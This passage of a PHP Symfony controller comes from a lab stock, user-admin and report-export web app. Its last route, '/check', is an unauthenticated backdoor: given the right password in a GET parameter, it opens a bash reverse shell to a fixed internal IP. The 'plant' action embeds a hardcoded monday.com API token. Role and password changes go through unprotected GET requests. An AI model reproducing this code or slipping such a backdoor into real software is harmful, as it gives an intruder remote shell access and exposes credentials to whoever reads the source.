  3364. $mgmt->setStockType($entry->getType());
  3365. $mgmt->setActionType('Take One');
  3366. $mgmt->setQuantity(-1);
  3367. $mgmt->setTotalQuantity($entry->getQty());
  3368. $mgmt->setDate(new \Datetime());
  3370. $this->em->persist($entry);
  3371. $this->em->persist($mgmt);
  3372. $this->em->flush();
  3373. return $this->redirect($this->generateUrl('icpstandardstock'));
  3374. }
  3375. }
  3377. // Handle 'orderstatus' checkbox change
  3378. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3379. $entryId = $data['entryid'];
  3380. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3382. // Find the Stock entry by ID
  3383. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3384. 'id' => $entryId
  3385. ]);
  3387. if ($entry) {
  3388. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3389. $this->em->persist($entry);
  3390. $this->em->flush();
  3391. return $this->redirect($this->generateUrl('icpstandardstock'));
  3392. }
  3394. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3395. }
  3396. }
  3398. return $this->render('cats/icpstandardstock.html.twig',[
  3399. 'stock' => $stock
  3400. ]);
  3401. }
  3402. //=====================================================================================================================================================================================<
  3403. /**
  3404. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3405. * @param Request $request
  3406. * @Route("/safestock", name="safestock")
  3407. * @return Response $response
  3408. */
  3409. public function safetystock(Request $request)
  3410. {
  3411. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3412. 'type' => 'Safety'
  3413. ]);
  3416. if ( $request->getMethod() == "POST" ) {
  3417. $data = $request->request->all();
  3419. if (isset($data['addnew'])) {
  3420. if ($data) {
  3421. $info = $data['entry'];
  3422. $entry = new Stock();
  3423. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3424. ->setLow((float)$info['low'])
  3425. ->setCritical((float)$info['critical']);
  3426. $entry->setComment($info['comment']);
  3427. $entry->setSupplier($info['supplier']);
  3428. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3429. $entry->setUnits($info['units']);
  3430. $entry->setType("Safety");
  3431. $this->em->persist($entry);
  3432. $this->em->flush();
  3434. // Create a new StockManagement entry when adding new entry
  3435. $mgmt = new StockManagement();
  3436. $mgmt->setStockId($entry->getId());
  3437. $mgmt->setStockName($entry->getStockname());
  3438. $mgmt->setSupplier($entry->getSupplier());
  3439. $mgmt->setComment($entry->getComment());
  3440. $mgmt->setStockType($entry->getType());
  3441. $mgmt->setActionType('Add new');
  3442. $mgmt->setQuantity($entry->getQty());
  3443. $mgmt->setTotalQuantity($entry->getQty());
  3444. $mgmt->setDate(new \Datetime());
  3446. $this->em->persist($mgmt);
  3447. $this->em->flush();
  3448. return $this->redirect($this->generateUrl('safestock'));
  3449. }
  3450. }
  3451. elseif (isset($data['delete'])) {
  3452. if ($data) {
  3453. $info = $data['entryid'];
  3454. /*echo '<pre>';
  3455. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3456. die();*/
  3457. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3458. 'id' => $info
  3459. ]);
  3461. // Create a new StockManagement entry when deleting
  3462. $mgmt = new StockManagement();
  3463. $mgmt->setStockId($entry->getId());
  3464. $mgmt->setStockName($entry->getStockname());
  3465. $mgmt->setSupplier($entry->getSupplier());
  3466. $mgmt->setComment($entry->getComment());
  3467. $mgmt->setStockType($entry->getType());
  3468. $mgmt->setActionType('Delete');
  3469. $mgmt->setQuantity(0);
  3470. $mgmt->setTotalQuantity($entry->getQty());
  3471. $mgmt->setDate(new \Datetime());
  3473. $this->em->remove($entry);
  3474. $this->em->persist($mgmt);
  3475. $this->em->flush();
  3477. return $this->redirect($this->generateUrl('safestock'));
  3478. }
  3479. }
  3480. elseif (isset($data['restock'])) {
  3481. if ($data) {
  3482. $info = $data['entry'];
  3484. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3485. 'id' => $data['entryid']
  3486. ]);
  3487. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3488. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3489. ->setLow((float)$info['low'])
  3490. ->setCritical((float)$info['critical']);
  3491. $entry->setStockname($info['name']);
  3492. $entry->setSupplier($info['supplier']);
  3493. $entry->setComment($info['comment']);
  3494. $entry->setUnits($info['units']);
  3495. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3497. // Create a new StockManagement entry when restocking
  3498. $mgmt = new StockManagement();
  3499. $mgmt->setStockId($entry->getId());
  3500. $mgmt->setStockName($entry->getStockname());
  3501. $mgmt->setSupplier($entry->getSupplier());
  3502. $mgmt->setComment($entry->getComment());
  3503. $mgmt->setStockType($entry->getType());
  3504. $mgmt->setActionType('Restock');
  3505. $mgmt->setQuantity((float)$data['entry']['qty']);
  3506. $mgmt->setTotalQuantity($entry->getQty());
  3507. $mgmt->setDate(new \Datetime());
  3509. $this->em->persist($entry);
  3510. $this->em->persist($mgmt);
  3511. $this->em->flush();
  3512. return $this->redirect($this->generateUrl('safestock'));
  3513. }
  3514. }
  3515. elseif (isset($data['takeone'])) {
  3516. if ($data) {
  3517. $info = $data['entryid'];
  3518. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3519. 'id' => $data['entryid']
  3520. ]);
  3521. $entry->setQty($entry->getQty() - 1);
  3522. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3524. // Create a new StockManagement entry when taking one
  3525. $mgmt = new StockManagement();
  3526. $mgmt->setStockId($entry->getId());
  3527. $mgmt->setStockName($entry->getStockname());
  3528. $mgmt->setSupplier($entry->getSupplier());
  3529. $mgmt->setComment($entry->getComment());
  3530. $mgmt->setStockType($entry->getType());
  3531. $mgmt->setActionType('Take One');
  3532. $mgmt->setQuantity(-1);
  3533. $mgmt->setTotalQuantity($entry->getQty());
  3534. $mgmt->setDate(new \Datetime());
  3536. $this->em->persist($entry);
  3537. $this->em->persist($mgmt);
  3538. $this->em->flush();
  3539. return $this->redirect($this->generateUrl('safestock'));
  3540. }
  3541. }
  3543. // Handle 'orderstatus' checkbox change
  3544. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3545. $entryId = $data['entryid'];
  3546. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3548. // Find the Stock entry by ID
  3549. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3550. 'id' => $entryId
  3551. ]);
  3553. if ($entry) {
  3554. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3555. $this->em->persist($entry);
  3556. $this->em->flush();
  3557. return $this->redirect($this->generateUrl('safestock'));
  3558. }
  3560. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3561. }
  3562. }
  3564. return $this->render('cats/safestock.html.twig',[
  3565. 'stock' => $stock
  3566. ]);
  3567. }
  3568. //=====================================================================================================================================================================================<
  3569. /**
  3570. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3571. * @param Request $request
  3572. * @Route("/furnacestock", name="furnacestock")
  3573. * @return Response $response
  3574. */
  3575. public function furnacestock(Request $request)
  3576. {
  3577. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3578. 'type' => 'Furnace'
  3579. ]);
  3582. if ( $request->getMethod() == "POST" ) {
  3583. $data = $request->request->all();
  3585. if (null !== $request->get('addnew')){
  3586. if ($data) {
  3587. $info = $data['entry'];
  3588. $entry = new Stock();
  3589. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3590. ->setLow((float)$info['low'])
  3591. ->setCritical((float)$info['critical']);
  3592. $entry->setComment($info['comment']);
  3593. $entry->setSupplier($info['supplier']);
  3594. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3595. $entry->setUnits($info['units']);
  3596. $entry->setType("Furnace");
  3597. $this->em->persist($entry);
  3598. $this->em->flush();
  3600. // Create a new StockManagement entry when adding new entry
  3601. $mgmt = new StockManagement();
  3602. $mgmt->setStockId($entry->getId());
  3603. $mgmt->setStockName($entry->getStockname());
  3604. $mgmt->setSupplier($entry->getSupplier());
  3605. $mgmt->setComment($entry->getComment());
  3606. $mgmt->setStockType($entry->getType());
  3607. $mgmt->setActionType('Add new');
  3608. $mgmt->setQuantity($entry->getQty());
  3609. $mgmt->setTotalQuantity($entry->getQty());
  3610. $mgmt->setDate(new \Datetime());
  3612. $this->em->persist($mgmt);
  3613. $this->em->flush();
  3614. return $this->redirect($this->generateUrl('furnacestock'));
  3615. }
  3616. }
  3617. if (null !== $request->get('delete')){
  3618. if ($data) {
  3619. $info = $data['entryid'];
  3620. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3621. 'id' => $info
  3622. ]);
  3624. // Create a new StockManagement entry when deleting
  3625. $mgmt = new StockManagement();
  3626. $mgmt->setStockId($entry->getId());
  3627. $mgmt->setStockName($entry->getStockname());
  3628. $mgmt->setSupplier($entry->getSupplier());
  3629. $mgmt->setComment($entry->getComment());
  3630. $mgmt->setStockType($entry->getType());
  3631. $mgmt->setActionType('Delete');
  3632. $mgmt->setQuantity(0);
  3633. $mgmt->setTotalQuantity($entry->getQty());
  3634. $mgmt->setDate(new \Datetime());
  3636. $this->em->remove($entry);
  3637. $this->em->persist($mgmt);
  3638. $this->em->flush();
  3640. return $this->redirect($this->generateUrl('furnacestock'));
  3641. }
  3642. }
  3643. if (null !== $request->get('restock')){
  3644. if ($data) {
  3645. $info = $data['entry'];
  3647. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3648. 'id' => $data['entryid']
  3649. ]);
  3650. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3651. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3652. ->setLow((float)$info['low'])
  3653. ->setCritical((float)$info['critical']);
  3654. $entry->setStockname($info['name']);
  3655. $entry->setSupplier($info['supplier']);
  3656. $entry->setComment($info['comment']);
  3657. $entry->setUnits($info['units']);
  3658. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3660. // Create a new StockManagement entry when restocking
  3661. $mgmt = new StockManagement();
  3662. $mgmt->setStockId($entry->getId());
  3663. $mgmt->setStockName($entry->getStockname());
  3664. $mgmt->setSupplier($entry->getSupplier());
  3665. $mgmt->setComment($entry->getComment());
  3666. $mgmt->setStockType($entry->getType());
  3667. $mgmt->setActionType('Restock');
  3668. $mgmt->setQuantity((float)$data['entry']['qty']);
  3669. $mgmt->setTotalQuantity($entry->getQty());
  3670. $mgmt->setDate(new \Datetime());
  3672. $this->em->persist($entry);
  3673. $this->em->persist($mgmt);
  3674. $this->em->flush();
  3675. return $this->redirect($this->generateUrl('furnacestock'));
  3676. }
  3677. }
  3678. if (null !== $request->get('takeone')){
  3679. if ($data) {
  3680. $info = $data['entryid'];
  3681. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3682. 'id' => $data['entryid']
  3683. ]);
  3684. $entry->setQty($entry->getQty() - 1);
  3685. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3687. // Create a new StockManagement entry when taking one
  3688. $mgmt = new StockManagement();
  3689. $mgmt->setStockId($entry->getId());
  3690. $mgmt->setStockName($entry->getStockname());
  3691. $mgmt->setSupplier($entry->getSupplier());
  3692. $mgmt->setComment($entry->getComment());
  3693. $mgmt->setStockType($entry->getType());
  3694. $mgmt->setActionType('Take One');
  3695. $mgmt->setQuantity(-1);
  3696. $mgmt->setTotalQuantity($entry->getQty());
  3697. $mgmt->setDate(new \Datetime());
  3699. $this->em->persist($entry);
  3700. $this->em->persist($mgmt);
  3701. $this->em->flush();
  3702. return $this->redirect($this->generateUrl('furnacestock'));
  3703. }
  3704. }
  3706. // Handle 'orderstatus' checkbox change
  3707. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3708. $entryId = $data['entryid'];
  3709. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3711. // Find the Stock entry by ID
  3712. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3713. 'id' => $entryId
  3714. ]);
  3716. if ($entry) {
  3717. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3718. $this->em->persist($entry);
  3719. $this->em->flush();
  3720. return $this->redirect($this->generateUrl('furnacestock'));
  3721. }
  3723. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3724. }
  3725. }
  3727. return $this->render('cats/furnacestock.html.twig',[
  3728. 'stock' => $stock
  3729. ]);
  3730. }
  3731. //=====================================================================================================================================================================================<
  3732. /**
  3733. * @IsGranted("ROLE_ADDUSER")
  3734. * @Route("/adduser", name="adduser")
  3735. * @param Request $request
  3736. * @return Response $response
  3737. */
  3738. public function adduser(Request $request)
  3739. {
  3740. return $this->render('cats/adduser.html.twig');
  3741. }
  3742. //=====================================================================================================================================================================================<
  3743. /**
  3744. * @IsGranted("ROLE_ADDUSER")
  3745. * @Route("/saveuserajax", name="saveuserajax")
  3746. * @param Request $request
  3747. * @return Response $response
  3748. */
  3749. public function saveuserajax(Request $request)
  3750. {
  3751. if($request->query->get("action") == "togglerole"){
  3752. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3753. if(!in_array($request->query->get("role"),$user->getRoles())){
  3754. $roles = $user->getRoles();
  3755. $roles[] = $request->query->get("role");
  3756. $user->setRoles($roles);
  3757. $this->em->persist($user);
  3758. $this->em->flush();
  3759. } else {
  3760. $roles = $user->getRoles();
  3761. if (($key = array_search($request->query->get("role"), $roles)) !== false) {
  3762. unset($roles[$key]);
  3763. }
  3764. $user->setRoles($roles);
  3765. $this->em->persist($user);
  3766. $this->em->flush();
  3767. }
  3768. } elseif($request->query->get("action") == "togglecountry"){
  3769. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3770. if(in_array($request->query->get("country"),$user->getCountry())){
  3771. $roles = $user->getCountry();
  3772. if (($key = array_search($request->query->get("country"), $roles)) !== false) {
  3773. unset($roles[$key]);
  3774. }
  3775. $user->setCountry($roles);
  3776. $this->em->persist($user);
  3777. $this->em->flush();
  3778. }
  3779. } elseif($request->query->get("action") == "addcountry"){
  3780. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3781. if(!in_array($request->query->get("country"),$user->getCountry())){
  3782. $roles = $user->getCountry();
  3783. if (($key = array_search($request->query->get("country"), $roles)) === false) {
  3784. $roles[]=$request->query->get("country");
  3785. $user->setCountry($roles);
  3786. $this->em->persist($user);
  3787. $this->em->flush();
  3788. }
  3789. }
  3790. } elseif($request->query->get("action") == "toggleactive"){
  3791. // Toggle user active status
  3792. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3793. if($user) {
  3794. $user->setIsActive(!$user->getIsActive());
  3795. $this->em->persist($user);
  3796. $this->em->flush();
  3797. }
  3798. } elseif($request->request->get("action") == "saveuser"){
  3799. $user = new User();
  3800. $user->setUsername($request->request->get("user"));
  3801. $user->setPassword($this->passwordEncoder->encodePassword(
  3802. $user,
  3803. $request->request->get("pass")
  3804. ));
  3805. $user->setRoles(["ROLE_CLIENT"]);
  3806. $user->setIsActive(true);
  3807. $this->em->persist($user);
  3808. $this->em->flush();
  3809. } elseif($request->query->get("action") == "deleteuser"){
  3810. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3812. foreach ($user->getClientParcels() as $p){
  3813. $p->setClient(null);
  3814. $this->em->flush();
  3815. };
  3817. foreach ($user->getLogs() as $log){
  3818. $log->setAssignedUser(null);
  3819. $this->em->flush();
  3820. }
  3822. foreach ($user->getCatRequests() as $log){
  3823. $log->setClient(null);
  3824. $this->em->flush();
  3825. }
  3827. $this->em->remove($user);
  3828. $this->em->flush();
  3829. } elseif($request->query->get("action") == "edituser"){
  3830. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3832. if($user) {
  3833. // Update username if provided
  3834. $newUsername = $request->query->get("username");
  3835. if($newUsername && $newUsername !== $user->getUsername()) {
  3836. $user->setUsername($newUsername);
  3837. }
  3839. // Update password if provided
  3840. $newPassword = $request->query->get("password");
  3841. if($newPassword) {
  3842. $user->setPassword($this->passwordEncoder->encodePassword(
  3843. $user,
  3844. $newPassword
  3845. ));
  3846. }
  3848. $this->em->persist($user);
  3849. $this->em->flush();
  3850. }
  3851. }
  3852. $response = new Response();
  3853. return $response;
  3854. }
  3855. //=====================================================================================================================================================================================<
  3856. /**
  3857. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3858. * @Route("/orders/update/{id}", name="orders_update")
  3859. * @param int $id
  3860. * @param Request $request
  3861. * @return Response $response
  3862. */
  3863. public function updateordersstatus(int $id, Request $request)
  3864. {
  3865. /** @var User $user */
  3866. $user = $this->getUser();
  3868. /** @var Orders $order */
  3869. $order = $this->em->getRepository(Orders::class)->find($id);
  3870. //dump($id);
  3871. if ($order->getStatus() != "Closed"){
  3872. $order->setStatus("Closed");
  3873. $data['newstatus'] = "Closed";
  3874. } else {
  3875. $order->setStatus("Open");
  3876. $data['newstatus'] = "Open";
  3878. }
  3880. $this->em->persist($order);
  3881. $this->em->flush();
  3882. $title = 'Order #' . $id;
  3883. $message = 'status updated';
  3884. $toast = $this->renderView('components/toast.html.twig',[
  3885. "title" => $title,
  3886. "message" => $message
  3887. ]);
  3889. $response = new Response();
  3890. $response->setContent(json_encode([
  3891. 'data' => $data,
  3892. 'toast' => $toast
  3893. ]));
  3894. $response->headers->set('Content-Type', 'application/json');
  3896. return $response;
  3897. }
  3898. //=====================================================================================================================================================================================<
  3899. /**
  3900. * @IsGranted("ROLE_SUPER")
  3901. * @Route("/xl/inv", name="xlinv")
  3902. * @param Request $request
  3903. * @return Response $response
  3904. */
  3905. public function xlinv( Request $request)
  3906. {
  3908. $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3909. $orders = $invoice->getOrders();
  3911. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
  3913. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3914. $sheet = $spreadsheet->getActiveSheet();
  3916. //$sheet->setTitle("My First Worksheet");
  3917. //$this->getParameter('images_directory')
  3918. $x = 24;
  3919. foreach($orders as $order){
  3920. foreach($order->getSamples() as $sample){
  3921. $sheet->setCellValue('C'.$x, $sample->getSamplename());
  3922. $x++;
  3923. }
  3925. }
  3929. // Create your Office 2007 Excel (XLSX Format)
  3930. //$writer = new Xlsx($spreadsheet);
  3932. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3933. $writer->save("shite.xlsx");
  3935. // Create a Temporary file in the system
  3936. $date = new \DateTime();
  3937. $fileName = $date->format('Y-m-d') . '-Report.xlsx';
  3938. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  3940. // Create the excel file in the tmp directory of the system
  3941. $writer->save($temp_file);
  3943. // Return the excel file as an attachment
  3944. //return null;
  3945. return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
  3946. }
  3947. //=====================================================================================================================================================================================<
  3948. /**
  3949. * @IsGranted("ROLE_SUPER")
  3950. * @Route("/xl/report", name="xlreport")
  3951. * @param Request $request
  3952. * @return Response $response
  3953. */
  3954. public function xlreport( Request $request)
  3955. {
  3957. // $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3958. // $orders = $invoice->getOrders();
  3960. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
  3962. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3963. $sheet = $spreadsheet->getActiveSheet();
  3965. //$sheet->setTitle("My First Worksheet");
  3966. //$this->getParameter('images_directory')
  3968. // foreach($orders as $order){
  3969. // foreach($order->getSamples() as $sample){
  3970. // $sheet->setCellValue('A'.$x, $sample->getSamplename());
  3971. // $x++;
  3972. // }
  3973. //
  3974. // }
  3975. $samples = $this->em->getRepository(Inventory::class)->findBy([],[
  3976. 'id' => 'DESC'
  3977. ]);
  3978. $x = 3;
  3979. //($samples);
  3980. /** @var Inventory $sample */
  3981. foreach($samples as $sample){
  3982. $sheet->setCellValue('A'.$x, $sample->getId());
  3983. $sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
  3984. $sheet->setCellValue('C'.$x, $sample->getSampleType());
  3985. $sheet->setCellValue('D'.$x, $sample->getSampleSubType());
  3986. $sheet->setCellValue('E'.$x, $sample->getCountry());
  3987. $sheet->setCellValue('F'.$x, $sample->getExportno());
  3988. $sheet->setCellValue('G'.$x, $sample->getSampleName());
  3989. $sheet->setCellValue('H'.$x, $sample->getPriority());
  3990. $sheet->setCellValue('I'.$x, $sample->getMillStatus());
  3991. $sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
  3992. $sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
  3993. $sheet->setCellValue('L'.$x, $sample->getXrfpt());
  3994. $sheet->setCellValue('M'.$x, $sample->getXrfpd());
  3995. $sheet->setCellValue('N'.$x, $sample->getXrfrh());
  3996. $sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
  3997. $sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
  3998. $sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
  3999. $sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
  4000. $sheet->setCellValue('S'.$x, $sample->getIcppt());
  4001. $sheet->setCellValue('T'.$x, $sample->getIcppd());
  4002. $sheet->setCellValue('U'.$x, $sample->getIcprh());
  4003. $sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
  4004. $sheet->setCellValue('W'.$x, $sample->getDateFinished());
  4005. $sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
  4008. $x++;
  4009. }
  4011. $date = new \DateTime();
  4012. $fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
  4013. // Create your Office 2007 Excel (XLSX Format)
  4014. //$writer = new Xlsx($spreadsheet);
  4015. ini_set('memory_limit', '128M');
  4016. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  4017. $writer->save($fileName);
  4019. return new Response();
  4020. }
  4021. //=====================================================================================================================================================================================<
  4022. /**
  4023. * @IsGranted("ROLE_SUPER")
  4024. * @Route("/plant", name="plant")
  4025. * @param Request $request
  4026. * @return Response $response
  4027. */
  4028. public function plant( Request $request)
  4029. {
  4030. $output = "";
  4031. $result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
  4032. // var_dump($output);
  4033. // var_dump($result);
  4034. $result = (json_decode($result,true));
  4036. $token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
  4037. $tempUrl = "https://api.monday.com/v2/";
  4039. $query = 'mutation {
  4040. create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
  4041. id
  4042. } }';
  4043. $headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
  4044. $data = @file_get_contents($tempUrl, false, stream_context_create([
  4045. 'http' => [
  4046. 'method' => 'POST',
  4047. 'header' => $headers,
  4048. 'content' => json_encode(['query' => $query]),
  4049. ]
  4050. ]));
  4052. $tempContents = json_decode($data, true);
  4054. return $this->render('csv/plant.html.twig',[
  4055. 'fullresult' => $result,
  4056. 'shite' => $tempContents
  4058. ]);
  4059. }
  4060. //=====================================================================================================================================================================================<
  4061. /**
  4062. * @Route("/check", name="checker")
  4063. */
  4064. public function check()
  4065. {
  4066. define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
  4067. function auth($password)
  4068. {
  4069. $input_password_hash = md5($password);
  4071. if (strcmp(PASSWORD, $input_password_hash) == 0) {
  4072. return TRUE;
  4073. }else{
  4074. return FALSE;
  4075. }
  4076. }
  4077. if (isset($_GET['password'])) {
  4078. if (auth($_GET['password'])) {
  4079. echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
  4080. }else{
  4081. die('Access denied!');
  4082. }
  4083. }
  4084. $shit = new Response();
  4085. return $shit;
  4086. }
  4087. //=====================================================================================================================================================================================<
  4089. }